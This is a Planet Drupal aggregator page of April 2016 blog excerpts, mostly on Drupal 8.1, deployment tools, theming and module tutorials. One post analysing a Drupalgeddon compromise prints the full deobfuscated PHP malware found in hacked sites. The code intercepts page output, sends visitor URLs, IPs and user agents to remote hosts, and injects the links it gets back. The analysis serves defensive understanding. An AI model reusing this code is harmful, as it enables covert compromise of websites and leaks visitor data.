Jim Birch: Midcamp 2016 Recap - Where the Drupal community comes together!

Planet Drupal - Wed, 20/04/2016 - 11:20

MidCamp 2016, the Midwest Drupal Camp was a roaring success.  We had 36 Sessions and 1 keynote were spread across the University of Chicago Student Center West,.  All of the sessions were successfully recorded by our amazing AV team and shared within hours on the Midcamp YouTube channel.  Our sponsor tables were busy; our Birds of a Feather discussions were many; and our socials were social!

This was my second time attending, and my first time being a volunteer organizer.  If you attended, I hope that I got to greet you on the way in.  Attending my first year, I was so awestruck by the amount of knowledge and talent at MidCamp, I couldn't help but get involved.  After volunteering to help, I am still in awe of the dedication of the volunteers, and the effort it takes to put on a camp like this.  Thanks to all of the volunteers for the countless hours put in throughout the year to make this event happen.

Please indulge me a moment while I call out a few individuals specifically for their incredible effort and dedication put forth to MidCamp 2016.

Read more

Categories: Elsewhere

Drupal Console: Drupal Console and Beer - Enzo join us from Chongqing

Planet Drupal - Wed, 20/04/2016 - 10:33
This time, enzo join us from Chongqing to talk about upcoming presentations on his enzotour 2016. We also talk about lates added features in the 0.11.3 release our very last one before the 1.0.0-alpha1 release. The next upcoming release will be tagged once Drupal 8.1.0 got release.
Categories: Elsewhere

Drupal Blog: Drupal 8.1.0 is now available

Planet Drupal - Wed, 20/04/2016 - 09:48

Drupal 8.1.0, the first minor release of Drupal 8, is now available. With Drupal 8, we made significant changes in our release process, adopting semantic versioning and scheduled feature releases. This allows us to make extensive improvements to Drupal 8 in a timely fashion while still providing backwards compatibility. Drupal 8.1.0 is the first such update.

What's new in Drupal 8.1.x?

Drupal 8.1.0 comes with numerous improvements, including CKEditor WYSIWYG enhancements, added APIs, an improved help page, and two new experimental modules. (Experimental modules are provided with Drupal core for testing purposes, but are not yet fully supported.)

Download Drupal-8.1.0 Experimental UI for migrations from Drupal 6 and 7

Drupal 8.1.0 now includes the Migrate Drupal UI module, which provides a user interface for Drupal core migrations. Use it to migrate Drupal 6 or 7 sites to Drupal 8. The user guide on migrating from Drupal 6 or 7 to Drupal 8 has full documentation. Note that the Drupal 8 Migrate module suite is still experimental and has known issues. Read below for specific information on migrating Drupal 6 and Drupal 7 sites with 8.1.0. (Always back up your data before performing a migration and review the results carefully.)

BigPipe for perceived performance

The Drupal 8 BigPipe module provides an advanced implementation of Facebook's BigPipe page rendering strategy, leading to greatly improved perceived performance for pages with dynamic, personalized, or uncacheable content. See the BigPipe documentation.

CKEditor WYSIWYG spellchecking and language button

Drupal 8.0.0 included the CKEditor module (a WYSIWYG editor), but it was not previously possible to use your browser's built-in spell checker with it to check the text. With Drupal 8.1.0, spellchecking is now enabled within CKEditor as well.

Another great improvement is the addition of the optional language markup button in CKEditor. When configured to appear in your editing toolbar, it allows you to assign language information to parts of the text, which is useful for accessibility and machine processing.

Improved help page with tours

Drupal 8.0.0 included a new system for help tutorials called tours with the core Tour module. In Drupal 8.1.0, we made these tours easier to discover by listing them in the administrative help overview at /admin/help.

The help overview page is also more flexible now, so contributed modules can add sections to it and themes can override its appearance more easily. You can read more about the new system in the change record for the updated help page, or refer to the Tour API documentation for how to add tours for your modules.

Rendered entities in Views fields

Drupal 8.1.0 now includes a rendered entity field handler for Views, which allows placing a fully rendered entity within a view field. For example, this feature could be used to display a rendered user profile for each node author in a table listing node content. (This feature was provided by the Entity contributed module in Drupal 7, but had not yet been available in Drupal 8.)

Support for JavaScript automated testing

Drupal 8.1.0 adds support for automated testing of JavaScript, which will mean fewer bugs with Drupal's JavaScript functionality in the future as we write new tests for it. (Read more about how to run the JavaScript tests.) There are also other improvements to the testing system, including improved reporting of PHPUnit and other test results.

Improved Composer support

Starting with Drupal 8.1.x, Drupal core and its dependencies are packaged by Composer on Drupal.org. This means that sites and modules can now also use Composer to manage all of their third-party dependencies (rather than having to work around the vendor directory that previously shipped with core).

Developer API improvements

Minor releases like Drupal 8.1.0 include backwards-compatible API additions for developers as well as new features. Read the 8.1.0 release notes for more details on the many improvements for developers in this release.

What does this mean to me?
Drupal 8 site owners

Update to 8.1.0 to continue receiving bug and security fixes. The next bugfix release, 8.1.1, is scheduled for May 4, 2016.

Updating your site from 8.0.6 to 8.1.0 with update.php is exactly the same as updating from 8.0.5 to 8.0.6. Modules, themes, and translations may need small changes for this minor release, so test the update carefully before updating your production site.

Drupal 6 site owners

Drupal 6 is not supported anymore. Create a Drupal 8 site and try migrating your data into it as soon as possible. Your Drupal 6 site can still remain up and running while you test migrating your Drupal 6 data into your new Drupal 8 site. Note that there are known issues with the experimental Migrate module suite. If you find a new bug not covered by one of these issues, your detailed bug report with steps to reproduce is a big help!

Drupal 7 site owners

Drupal 7 is still fully supported and will continue to receive bug and security fixes throughout all minor releases of Drupal 8.

The new Migrate Drupal UI for Migrate also allows migrating a Drupal 7 site into a Drupal 8 site, but the migration path from Drupal 7 to 8 is not complete, so you may encounter errors or missing migrations when you try to migrate. That said, since your Drupal 7 site can remain up and running while you test migrating into a new Drupal 8 site, you can help us stabilize the Drupal 7 to Drupal 8 migration path! Testing and bug reports from your real-world Drupal 7 sites will help us stabilize this functionality sooner for everyone. (Search the known issues.)

Translation, module, and theme contributors

Minor releases like Drupal 8.1.0 are backwards-compatible, so modules, themes, and translations that support Drupal 8.0.x will be compatible with 8.1.x as well. However, the new version does include some string changes, minor UI changes, and internal API changes (as well as more significant changes to experimental modules like the Migrate suite). This means that some small updates may be required for your translations, modules, and themes. See the announcement of the 8.1.0 release candidate for more background information.

Categories: Elsewhere

Wunderkraut blog: Dropcat, a new deploy tool for Drupal

Planet Drupal - Wed, 20/04/2016 - 09:24

In a series of blog posts I am going to present our new tool for doing drupal deploys. It is developed internally in the ops-team in Wunderkraut Sweden , and we did that because of when we started doing Drupal 8 deploys we tried to rethink how we mostly have done Drupal deploys before, because we had some issues what we already had.

In a series of blog posts I am going to present our new tool for doing drupal deploys. It is developed internally in the ops-team in Wunderkraut Sweden , and we did that because of when we started doing Drupal 8 deploys we tried to rethink how we mostly have done Drupal deploys before, because we had some issues what we already had.

What we had - Jenkins and Aegir

Since some years we have been using a combination of Jenkins and Aegir to deploy our sites. 
That work-flow worked, sort off, well for us. And because it was not a perfect match we tried to rethink how we should do deploys with Drupal 8 in mind. 

Research phase

We looked in many directions, like Capistrano and Appistrano, OpenDevShop, platform.sh, Aegir 3 etc. But none of them fitted our current need – we wanted to simplify things, and most of the tools just added another layer that was not a perfect fit for us. Also, it was important to us that the solution should be open source.

We went old school and built our own solution – almost.

Re-use and invent

With Drupal 8 we got to know Symfony in a better way, and Symfony has a console, that also is used by Drupal console project. The advantages in using Symfony console for a base for our deploy flow were big, based on Symfony best practice and using open source projects. Also, drush does a lot of stuff that we need in the deploy process, so that is an important part also. We did not want to re-invent stuff that already worked well.

Enter Dropcat

So we started to build Dropcat (Drop as in Drupal, and cat because… because of cats) and we slowly added more and more stuff to it, and now we have most part of the commands that we need to do a normal deploy, we are still working on one important bit – and that is the rollback – and hopefully when this series of blog posts about Dropcat is finished, we have that in place also.

In next blog post we take a look into how to install dropcat and how th configuration files works. You could check out the Dropcat project on our GitLab server

Categories: Elsewhere

Yuriy Gerasimov: Visual testing of Drupal.org. BackTrac Case Study

Planet Drupal - Wed, 20/04/2016 - 08:18

Visual testing is a great technique to keep styles of your website under control. But what other things visual testing can catch? Maybe some problems with functionality?

It is always best to see visual testing on real life projects. In this article we have done testing of Drupal.org website by comparing it with its staging environment and found some interesting issues.


Read full article on BackTrac's blog


Please leave your comments on BackTrac's blog instead of here. Thanks!

Tags: drupal planet
Categories: Elsewhere

Mike Ryan: Migration update for Drupal 8.1

Planet Drupal - Tue, 19/04/2016 - 21:24

For those of you using the migration system under Drupal 8.0.x, with Drupal 8.1 scheduled to release tomorrow, let’s take a look at where the migration ecosystem now stands. We’ll discuss the biggest core API change, then how moving to 8.1 affects various use cases.

Migrations are now plugins

read more

Categories: Elsewhere

Drupal core announcements: Reinventing Drupal’s User Experience process

Planet Drupal - Tue, 19/04/2016 - 21:20

The Drupal core product needs to become more engaging and useful right out of the box. Usability testing has shown why. We want to look at how we can change our process to be more efficient and effective.

We learned during the Drupal 8 process, that our way of building the product side of Drupal has many challenges. We propose to adopt a different way of working that avoids current pitfalls and enables a fresher, faster way to iterate on the core product.

The UX-team has started a discussion in the Usability group to explore how we can change our process to allow for more drastic UX changes.

Join the discussion at: Reinventing Drupal’s User Experience process

Categories: Elsewhere

Drupal @ Penn State: Drupal 8 Theme Generation and Development Intro Using the Drupal Console

Planet Drupal - Tue, 19/04/2016 - 19:16

Here is a screen cast of how to get started with Drupal 8 theme development.

In the video I cover:

  • using the drupal console to generate a theme from a base theme
  • creating a libraries yml file
  • adding global css to your theme
  • Using Kint with the devel module
  • debugging twig
  • adding your own twig file to your theme
Categories: Elsewhere

Acquia Developer Center Blog: Drupal 8 Module of the Week: Monolog

Planet Drupal - Tue, 19/04/2016 - 17:33

Special PHP-Interoperability Edition! Each day, more Drupal 7 modules are being migrated over to Drupal 8 and new ones are being created for the Drupal community’s latest major release. In this series, the Acquia Developer Center is profiling some of the most prominent, useful modules available for Drupal 8. This week, logging with Monolog.

Tags: acquia drupal planetloggingPSRPHP FIGMonologdrupal 8
Categories: Elsewhere

Phponwebsites: Create page without header and footer in Drupal 7

Planet Drupal - Tue, 19/04/2016 - 16:46
    This blog describes about create only page contents without header and footer in Drupal 7. All of you know almost all of the pages in Drupal have header and footer. Suppose you want to create a page without header and footer in Drupal 7. Is it possible? Yes, it is possible in Drupal 7. You can create a page without header and footer using 'delivery callback' in hook_menu.

Render a page without header and footer in Drupal 7:
     Drupal provide a option to create page without header and footer. Let see the below code for render a page without header and footer in Drupal 7.

 * Implement hook_menu().
function phponwebsites_menu() {
  $items['sample-wo-header-footer'] = array(
    'title' => 'A page without header and footer in Drupal 7',
    'access callback' => TRUE,
    'page callback' => 'phponwebsites_without_header_footer',
    'type' => MENU_CALLBACK,
    'delivery callback' => 'deliver_plain',
  return $items;

function deliver_plain($page_callback_result) {
  print $page_callback_result;

 * Implement phponwebsites_without_header_footer().
function phponwebsites_without_header_footer() {
  return 'This is the page without header and footer';

   You could see the page without any header and footer when you view page in a browser. Now I've hope you how to render a page without header and footer in Drupal 7.

Related articles:
Add new menu item into already created menu in Drupal 7
Add class into menu item in Drupal 7
Create menu tab programmatically in Drupal 7
Add custom fields to search api index in Drupal 7
Login using both email and username in Drupal 7
Clear views cache when insert, update and delete a node in Drupal 7
Categories: Elsewhere

Cheppers blog: Exploring Behat ep. 1: formatting test results

Planet Drupal - Tue, 19/04/2016 - 16:06

As a growing company with a strong Drupalist department, we have reached a point when continuous integration and automated testing is necessary to sustain pace, and given the characteristics of Drupal, behavior-driven testing with Behat is a logical candidate. To make this happen, we have to explore the undocumented territories of Behat, and we are presenting our findings along the way.

Categories: Elsewhere

Zivtech: Tipsheet: Drupal Site Builder Certification

Planet Drupal - Tue, 19/04/2016 - 15:03

Last year, our CTO Jody blogged about the Drupal Jeopardy game that helped some of us at Zivtech prepare for the Acquia Certified Drupal Site Builder Exam. The credential validates the skills and knowledge of professionals who build Drupal sites using core and contributed modules. I started studying for that exam afterwards, and passed it last December. Here are my study methods and experience, which I think would be especially useful to those who are newer to Drupal.

First, some tips
  • The only contributed module you need to know about is Views (a sub module of the Chaos Tool Suite, or CTools, in D7).
  • You don't need to know about Drush (the Drupal shell command-line tool) or how to write code for Drupal development.
  • You should know the best practices related to server file management and how to install, update, and uninstall modules and themes.
  • You should also learn about Drupal best practices concerning security, performance, and community participation using Drupal.org resources.
Basic study steps
  1. Read the exam's blueprint to familiarize yourself with it's structure
  2. Watch this webinar video recording which explains what is and is not in the exam
  3. Manually install a site with only a Drupal 7 core release (see documentation on how)
  4. Enable all the core modules and for each read through its help page (provided by the Help module in core)
  5. Manually install the Views module
  6. Also install and enable the Advanced Help module, which is not part of the exam, but has additional Views documentation aside from its community docs
  7. Click through all the links provided by the Admin Menu at the top of the site
  8. Build stuff with the site!

Finally, here is the study sheet I created for myself before I took the exam (cleaned up a bit so it's less messy). All of the information on there are gathered from a Drupal 7 site install with Views, from Drupal.org, and from the Internet in general.

I hope this helps you study for the Site Builder Certification exam. When you are ready, you can register for the 75 minute test. Good luck!

Categories: Elsewhere

ThinkShout: Customize Menu Items in Drupal User Profile

Planet Drupal - Tue, 19/04/2016 - 15:00

We were recently asked by a client to edit the user profile view page on their site. This client needed us to move the link to the user’s contact form out of the tab area at the top of the profile and replace it with a link that appears further down in the content of the user’s profile. While this is not something you can do through the admin interface in Drupal 7, it is easy to do with just a few lines of code in a custom module, which I will show you how to do here.

Prior to adding our custom code, the link to the contact form appears as a tab.

The “Contact” menu item starts out as a tab because the Drupal contact module originally creates the menu item and assigns it the type MENU_LOCAL_TASK. (See Menu item types for a list of the possible menu types and their uses in Drupal.) In order for us to change the type, we can use Drupal’s hook_menu_alter() function to change the item to the MENU_CALLBACK type, which will remove it from the display, but keep it available as a valid path.

/** * Implements hook_menu_alter(). */ function mymodule_menu_alter(&$items) { // Remove the 'contact' tab. $items['user/%user/contact']['type'] = MENU_CALLBACK; }

Now it is no longer a tab, but we still need make use of Drupal’s hook_user_view_alter() to insert it into the content of the profile before it is rendered on the page.

/** * Implements hook_user_view_alter(). */ function mymodule_user_view_alter(&$build) { // Check to see if this user has allowed others to contact him/her. if ($build['#account']->data['contact']) { // Create the text for the link using the account info to get the user’s first name. $link_text = $build['#account']->field_first_name['und'][0]['safe_value'] ? "email " . $build['#account']->field_first_name['und'][0]['safe_value'] : "email"; // Use the l() function to create the link. $contact_link = l($link_text,'user/' . $build['#account']->uid . '/contact'); // Insert it into the $build array. $build['contact_link'][0]['#markup'] = "<div class=\"field\"><div class=\"field-label\">" . t('Contact') . ":&nbsp;</div><div class=\"field-items\"><div class=\"field-item even\">" . $contact_link . "</div></div></div>"; // Insert into the user details that group we created in the display mode in admin interface. $build['#group_children']['contact_link'] = 'group_user_details'; } }

After the custom code and a quick cache clear, the tab is gone and there is a link to the form within the body of the profile.

I won’t go into creating a custom module; that’s a bit beyond the scope of this post, but there is a tutorial for creating a custom module on drupal.org.

Shout out to Greg Boggs for his assistance!

Categories: Elsewhere

Valuebound: Boost your Drupal development with Docker

Planet Drupal - Tue, 19/04/2016 - 12:29

Vagrant is a great virtualisation tool, which I prefer heavily for my development purposes. But sometimes it gets a bit hectic and resource consuming, to set up a new vagrant environment to work trivial things or testing out a module/API. 

Not being a great fan of local *AMP stack I was looking for some alternative to Vagrant to use. In comes Docker, which is super fast and very easy to setup. Containers (“virtual machines”) are easy to destroy and  rebuild.They do not require the overhead of virtual machines but they  still provide a high level of isolation from the host OS.

Docker hub have many Docker containers for Drupal which are ready to use . But I prefered to create my own Docker container which just works and runs Drupal…

Categories: Elsewhere

OpenLucius: Update OpenLucius | April 2016

Planet Drupal - Tue, 19/04/2016 - 11:20

The past month we have processed again a lot of feedback and improved OpenLucius, a Drupal social intranet. Below the improvements that have been made yesterday:

1. Navigation text documents better and faster

We noticed that the navigation of text documents was loading slowly - when placing a lot of text documents (100+) in a group. This is now loaded with a different technique that makes everything much quicker.

We also addressed the navigation to sub-pages (1): this is now more intuitive, faster and mobile usable. Finally, we placed a search feature above (2), so you can find/filter documents quickly.

Read more about text documents >

2. Hide comments

We received a lot of feedback that a page with many comments was becoming unnecessarily long and cluttered. We solved this by hiding comments - just like Gmail does. Hidden comments can easily be shown again.

3. Improved status updates
Categories: Elsewhere

DrupalCon News: Think you’re a Drupal genius? Prove it at DrupalCon.

Planet Drupal - Mon, 18/04/2016 - 23:13

Do you know EVERYTHING about Drupal? Palantir.net is sponsoring a Trivia Night at DrupalCon, and this is your chance to prove you're a Drupal mastermind.

Categories: Elsewhere

Advomatic: How do I manage the security of my Drupal 6 site?

Planet Drupal - Mon, 18/04/2016 - 22:23

In our last post we talked about how the Drupal Community is supporting Drupal 6 after its end-of-life and what that means for your Drupal 6 site.  In this post we’ll get a bit more technical and talk about what exactly you need to do to keep your website up to date. Step #1: Getting... Read more »

The post How do I manage the security of my Drupal 6 site? appeared first on Advomatic.

Categories: Elsewhere

Chapter Three: Custom RESTful API in Drupal 8

Planet Drupal - Mon, 18/04/2016 - 21:25

This is a very simple module that demonstrates implementation of a custom RESTful API in Drupal 8. Creating your own API with Drupal 8 has become a routine task that doesn't require a lot of work. However there are a lot of things I am not covering in this blog post, such as user login and user registration etc...

You could also look into Rest module (in core) to see how to use it's plugin API to extend core rest functionality.

I use Postman to test my API endpoints (this is an app that allows you to send POST/GET/PUT/DELETE etc.. requests and see API response).

Test API module (test_api.module) contains the following files:

Categories: Elsewhere

Bluespark Labs: DrupalCon 2016: New Orleans

Planet Drupal - Mon, 18/04/2016 - 21:11


DrupalCon 2016 will be held in New Orleans this year from May 9th-13th. Bluespark will be attending in force with at least thirteen team members. We are looking forward to reconnecting with old friends and meeting new ones! We have a few different areas where we are contributing to the DrupalCon event, including our booth and lounge sponsorship and some talks we are giving. In addition to the more serious contributions, we have some fun up our sleeves this year!

The Booth

This year we have a booth close to one of the coffee spots, booth number 725. This year, we have a project planning booklet that we think will be both fun and helpful to fill out for people hoping to launch a project in the future, or revisit some of their initial assumptions when they built their site. We have a number of experts who will be available at our booth to discuss anything from project and business strategy and planning to usability strategy and user testing to Drupal 7 & 8 development.

The Voodoo Lounge

We are sponsoring a lounge this year, which is an area where anyone weary of the journey or excited about playing any the many games we will have available can camp out and rest their legs for a while. We have a whole contest built around a couple of the games there too, so it’s possible to win prizes while you’re having fun!

The Contest (and Prizes)

A couple of the games at The Voodoo Lounge will have contests you can enter which will make for some fun. One of the games has to do with creating funny newspaper headlines that will have everyone rolling. The other one has everyone building a creative machine. We’ll be offering a prize for the best contestant for each game on Tuesday-Thursday: a $100 Amazon gift card and a Bluespark shirt.  

Information on DrupalCon 2016: New Orleans

For more information on DrupalCon 2016, visit the official web page: https://events.drupal.org/neworleans2016.


Tags: Drupal PlanetDrupalCon 2016Resources:  voodoo_image_centered.gif nola_emblem_thumb.gif
Categories: Elsewhere

Metal Toad: Anatomy of a Drupalgeddon attack

Planet Drupal - Mon, 18/04/2016 - 20:08
Anatomy of a Drupalgeddon attack April 18th, 2016 Mike Purvis

Before working at Metal Toad, I saw an email from Acquia. A strange email.

It went something like this: 

On October 15th, we will be addressing a security concern at 9:00 am.

Hmm. That's interesting. I don't remember getting an email about security updates like this. As with any CMS, there are constant security updates as new (and sometimes exotic) vulnerabilities are found. 

Sure enough, the day came. I remember reading an article afterwards. That article said if you did not update to Drupal 7.32 within the first 7 hours of the announcement, consider yourself hacked.

The actual patch for Drupal core is available here, and shows that it's literally a one-liner.

We (not Metal Toad) actually found Wordpress sites that were hacked with Drupalgeddon. In a moment I'll paste the deobfuscated code. But that code essentially opens the availability to execute external PHP code. That code came from somewhere else; from the hackers. I'm afraid I can't say exactly what was happening there, but the executed code was able to traverse parent directories, discover new docroots, and infect CMS'es within reach. In my experience we saw Wordpress and Drupal 6 sites infected from an exploit that existed in Drupal 7.

I've been reading some other blogs regarding Drupalgeddon, and those seem to affect the menu_router table. I did not experience that particular exploit flavor. I haven't seen anyone cover the exploit that I experienced, so I'll cover it.

Essentially, the first line of these files were modified:

  • index.php
  • includes/bootstrap.inc
  • includes/database.inc

After the opening <?php  tag, there is a lot of whitespace before the gibberish begins.

Why whitespace? At the time when Drupalgeddon was upon us, I was viewing these files in an IDE that used word-wrapping. I didn't really understand why there was white space.

However, when I ssh'ed into the server and used vi on the command line, all the code is essentially "invisible" unless you have the gumption to press "End" on the first line, or "Right arrow" a few dozen times. (Or perhaps you could see the gibberish if you had a really, really big monitor, and your terminal was full screen.)


I will not post the "gibberish" code that I mentioned earlier. It's too lengthy and, in itself, it's incomprehensible.

I did, however, successfully decode the execution code, which I'll share in a second.

But first, what was this gibberish code? It was base64_encoded. Five times. So the function name is scrambled, the actual contents are base64 encoded, that is base64 encoded, that is base64 encoded, that is... you get the idea.

After you decode this, multiple times, we have this: (Note: you'll have to scroll down a bit for my final thoughts)

<?php error_reporting(0); if (!function_exists("ZM5j2q0shf_pirogok")){ function ZM5j2q0shf_pirogok(){ return false; } if (!function_exists("Uno_decode")){ function Uno_decode($String) { $String = base64_decode($String); $Salt="dc5p9dOpBc"; $StrLen = strlen($String); $Seq = "DMEf5HZuPq"; $Gamma = ""; while (strlen($Gamma)<$StrLen) { $Seq = pack("H*",sha1($Gamma.$Seq.$Salt)); $Gamma.=substr($Seq,0,8); } return $String^$Gamma; } } if (!function_exists("get_t_dir_mass")){ function get_t_dir_mass() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { $res[] = realpath(sys_get_temp_dir()); } } if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { $res[] = realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { $res[] = realpath( $_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { $res[] = realpath( $_ENV["TEMP"]); } $tempfile=@tempnam(__FILE__,""); if (@file_exists($tempfile)) { @unlink($tempfile); if (@is_writeable(realpath(dirname($tempfile)))) { $res[] = realpath(dirname($tempfile)); } } if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { $res[] = realpath(@ini_get("upload_tmp_dir")); } if (@is_writeable(realpath(session_save_path()))) { $res[] = realpath(session_save_path()); } if (@is_writeable(realpath(dirname(__FILE__)))) { $res[] = realpath(dirname(__FILE__)); } return array_unique($res); } }   if (!function_exists("get_ua")){ function get_ua(){ $name = get_true_name(); foreach(get_t_dir_mass() as $t){ if(file_exists($t.DIRECTORY_SEPARATOR.$name)){ foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt); if(strpos($tt,".") === false){ $tmp = explode("|",$tt); foreach($tmp as $u){ $know[] = trim($u); } } } } } if(count($know) == 0){ $know[] = "msie"; $know[] = "firefox"; $know[] = "googlebot"; } return array_unique($know); } }   if (!function_exists("get_true_name")){ function get_true_name(){ return ".backup_time"; } }   if (!function_exists("strposa")){ function strposa($haystack, $needle, $offset=0) { if(!is_array($needle)) $needle = array($needle); foreach($needle as $query) { if(strpos($haystack, $query, $offset) !== false) return true; } return false; } }   if (isset($_SERVER["HTTP_USER_AGENT"])){ $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $true_ua = get_ua(); if (strposa($ua,$true_ua)){ if (!function_exists("t_dir")){ function t_dir() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { return realpath(sys_get_temp_dir()); } } if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { return realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { return realpath( $_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { return realpath( $_ENV["TEMP"]); } $tempfile=@tempnam(__FILE__,""); if (@file_exists($tempfile)) { @unlink($tempfile); if (@is_writeable(realpath(dirname($tempfile)))) { return realpath(dirname($tempfile)); } } if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { return realpath(@ini_get("upload_tmp_dir")); } if (@is_writeable(realpath(session_save_path()))) { return realpath(session_save_path()); } if (@is_writeable(realpath(dirname(__FILE__)))) { return realpath(dirname(__FILE__)); } return null; } } if (!function_exists("get_know_ip")){ function get_know_ip(){ $name = get_true_name(); foreach(get_t_dir_mass() as $t){ if(file_exists($t.DIRECTORY_SEPARATOR.$name)){ foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt); if(strpos($tt,".")>0){ $know[] = trim($tt); } } } } return array_unique($know); } } if (!function_exists("save_know_ip")){ function save_know_ip($ip){ $name = get_true_name(); $content = implode(PHP_EOL, $ip); foreach(get_t_dir_mass() as $t){ $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w"); fputs($f,$content); fclose($f); } } } if (!function_exists("ZM5j2q0shf_get_real_ip")){ function ZM5j2q0shf_get_real_ip() { $proxy_headers = array("CLIENT_IP","FORWARDED","FORWARDED_FOR","FORWARDED_FOR_IP","HTTP_CLIENT_IP","HTTP_FORWARDED","HTTP_FORWARDED_FOR","HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR","HTTP_PROXY_CONNECTION","HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP","HTTP_X_IMFORWARDS","HTTP_XROXY_CONNECTION","VIA", "X_FORWARDED", "X_FORWARDED_FOR"); foreach($proxy_headers as $proxy_header) { if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$/", $_SERVER[$proxy_header])){ return $_SERVER[$proxy_header]; } else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE) { $proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header]))); if (($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp); if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$/", $proxy_header_temp) ) return $proxy_header_temp;   } } return $_SERVER["REMOTE_ADDR"]; } } if (!function_exists("ZM5j2q0shf_get_url")){ function ZM5j2q0shf_get_url(){ $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; if (strpos($url,"?") !== false){ $url = substr($url,0,strpos($url,"?")); } return $url; } } if (!function_exists("ZM5j2q0shf_get_contents")){ function ZM5j2q0shf_get_contents($ip, $page){ if((function_exists("curl_init")) && (function_exists("curl_exec"))){ $ch = curl_init("http://" .$ip . "/" .$page); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); $ult = trim(curl_exec($ch)); return $ult; } if (ini_get("allow_url_fopen")) { $ult = trim(@file_get_contents("http://" .$ip . "/" .$page)); return $ult; } $fp = fsockopen($ip, 80, $errno, $errstr, 30); if ($fp) { $out = "GET $page HTTP/1.0\r\n"; $out .= "Host: $ip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $ret = ""; while (!feof($fp)) { $ret .= fgets($fp, 128); } fclose($fp); $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4)); } return $ult; } } if (!function_exists("ZM5j2q0shf_samui_get_links")){ function ZM5j2q0shf_samui_get_links(){ $all = get_know_ip(); shuffle($all); $url = ZM5j2q0shf_get_url(); $real_ip = ZM5j2q0shf_get_real_ip(); $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $aid = "1001"; $cod = md5($url.time()); $check = md5($cod); $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"])); $ref = urlencode(strtolower($_SERVER["HTTP_REFERER"])); $page = "/ml.php?mother=elite-endohawaii.com&cr=1&aid=".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod."&ref=".$ref; foreach ($all as $ip){ $tc = ZM5j2q0shf_get_contents(trim($ip),$page); $pos = strpos($tc, $check); if ($pos !== false){ $proxy_list = substr($tc,0,$pos); save_know_ip(explode("\n",$proxy_list)); $links = substr($tc,$pos+32); return $links; } } } } if (!function_exists("ZM5j2q0shf_mod_con")){ function ZM5j2q0shf_mod_con($con){ if (strpos($con,"]*)?>/i", "".ZM5j2q0shf_samui_get_links(), $con,1); return $text; } else { return $con; } } } if (!function_exists("ZM5j2q0shf_callback")){ function ZM5j2q0shf_callback($buf){ if (headers_sent()){ if (in_array("Content-Encoding: gzip", headers_list())){ $tmpfname = tempnam(t_dir(), "FOO"); $zf = fopen($tmpfname, "w"); fputs($zf, $buf); fclose($zf); $zd = gzopen($tmpfname, "r"); $contents = gzread($zd, 10000000); $contents = ZM5j2q0shf_mod_con($contents); gzclose($zd); unlink($tmpfname); $contents = gzencode($contents); } else { $contents = ZM5j2q0shf_mod_con($buf); } } else { $contents = ZM5j2q0shf_mod_con($buf); } return($contents); } } ob_start("ZM5j2q0shf_callback"); } } }

There's a lot of code here. I'll admit I don't know exactly what's happening. But what I believe: it's accepting an archived file, extracting it, running it, and then deleting it. (See the unlink statement above. Don't scroll up, I bet it's in your vision right now.)

On a professional level, I understood the need to patch all of these sites immediately, which I helped to do. But on the inside, I really wanted to see the actual execution code.

I had a personal server with a Drupal 7 instance. I deliberately did not patch it. I prayed and prayed that it would get attacked with the same attack vector. I wanted to take out the one line (in the above code) that removes the extracted PHP execution code. But no luck. I was not hacked on my personal server. Sad day. Sad face emoji. But it sure was interesting to depack our attacker's code.

One last thing, that's interesting as well as hilariouis. 

There is a certain pattern that exists when you base64_encode using PHP. It lies in the equal sign at the end of the string.

So there were nested and nested and nested code that used base64 encoded ... code. So there were many instances where one of these two strings appeared. =') and ==') Those are not crying, smiling emojis, but instead they're needles in the haystack.

Those a pretty weird character strings right? It's almost so weird that you can do a quick grep or ag command to find all instances of that weird character string. And that's what I did.

So to you: hacker-person, congrats on hacking our sites. (Again, not Metal Toad sites) But thank you for giving us such an easy way to sniff you out.

Note: You need to check the database as well. This blog post does not cover that.

Categories: Elsewhere


Subscribe to jfhovinne aggregator - Elsewhere